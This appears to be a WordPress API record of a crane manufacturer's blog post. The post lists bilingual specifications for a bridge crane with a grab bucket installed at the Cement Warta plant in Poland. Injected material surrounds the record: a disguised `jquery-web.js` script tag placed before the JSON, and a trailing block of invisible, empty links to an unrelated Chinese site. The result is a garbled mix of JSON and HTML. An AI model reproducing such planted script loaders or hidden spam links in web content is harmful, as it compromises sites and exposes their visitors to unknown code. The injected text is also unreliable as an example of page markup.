<script src="///jquery-web.js"></script>{"id":895,"date":"2014-12-09T16:27:31","date_gmt":"2014-12-09T15:27:31","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=895"},"modified":"2015-01-25T18:25:39","modified_gmt":"2015-01-25T17:25:39","slug":"installation-cement-warta-in-poland","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/installation-cement-warta-in-poland\/","title":{"rendered":"Installation Cement Warta in Poland"},"content":{"rendered":"<p>The characteristicsof this facilityare:<\/p>\n<p>Product Type: <strong>Bridge crane<\/strong> with <strong>open winch<\/strong> and 8m3 <strong>grab<br \/>\n<\/strong>Capacity: <strong>10,5t<br \/>\n<\/strong>Span: <strong>17m<br \/>\n<\/strong>Lifting height: <strong>15m<br \/>\n<\/strong>Client: Cementownia Warta \/ <strong>Cement Warta<br \/>\n<\/strong>Installation Location: <strong>Tr\u0119baczew<\/strong>, region \u0141\u00f3d\u017a, <strong>Poland<br \/>\n<\/strong>Sector: Cement (RSU)<br \/>\nInterest information: Incorporates anti-sway system, cell weighing system by compensating pulley bolt. Plant capacity 138,600 t \/ year.<\/p>\n<p><a id="nndwptzf" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/11\/IMG_3451_R.jpg\">\u00a0<\/a><a id="yqlebjmt" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/11\/IMG_3445.jpg\"><\/a>\u00a0<!--more--><a id="wyfwyqet" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/11\/DSCN4552.jpg\"><\/a> <a id="mbwmxnyp" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/11\/DSCN4566.jpg\"><\/a> \u00a0<a id="gqlygqpg" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/11\/DSCN4546.jpg\"><\/a><a id="emczhpff" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/11\/IMAG0243-e1418335598866.jpg\"><\/a>\u00a0Instalaci\u00f3n en Cementera Warta de Polonia.<\/p>\n<p>Las caracter\u00edsticas de esta instalaci\u00f3n son las siguientes:<br \/>\nTipo de producto:\u00a0<strong>Gr\u00faa puente<\/strong>\u00a0con\u00a0<strong>carro abierto<\/strong>\u00a0y\u00a0<strong>cuchara<\/strong>\u00a0de 8m3<br \/>\nCapacidad:\u00a0<strong>10,5t<br \/>\n<\/strong>Luz:\u00a0<strong>17m<br \/>\n<\/strong>Altura de elevaci\u00f3n:\u00a0<strong>15m<br \/>\n<\/strong>Cliente: Cementownia Warta \/\u00a0<strong>Cementera Warta<br \/>\n<\/strong>Lugar de instalaci\u00f3n:\u00a0<strong>Tr\u0119baczew\u00a0<\/strong>(LODZKIE), region \u0141\u00f3d\u017a,\u00a0<strong>Polonia<br \/>\n<\/strong>Sector: Cementera (RSU)<br \/>\nDatos de inter\u00e9s: Incorpora sistema antibalanceo,\u00a0pesaje mediante\u00a0c\u00e9lula de bul\u00f3n polea de compensaci\u00f3n.\u00a0Capacidad de la planta 138.600 t\/a\u00f1o.<\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>The characteristicsof this facilityare: Product Type: Bridge crane with open winch and 8m3 grab Capacity: 10,5t Span: 17m Lifting height: 15m Client: Cementownia Warta \/ Cement Warta Installation Location: Tr\u0119baczew, region \u0141\u00f3d\u017a, Poland Sector: Cement (RSU) Interest information: Incorporates anti-sway system, cell weighing system by compensating pulley bolt. Plant capacity 138,600 t \/ year. \u00a0\u00a0<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":1143,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[151,263,132,273,19,275,262,84,85,146,49,64,274,276],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/12\/IMAG0243-e1418335748582.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/895"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=895"}],"version-history":[{"count":18,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/895\/revisions"}],"predecessor-version":[{"id":1306,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/895\/revisions\/1306"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/1143"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=895"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=895"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=895"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<div align="center">友情链接：<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a></div></html>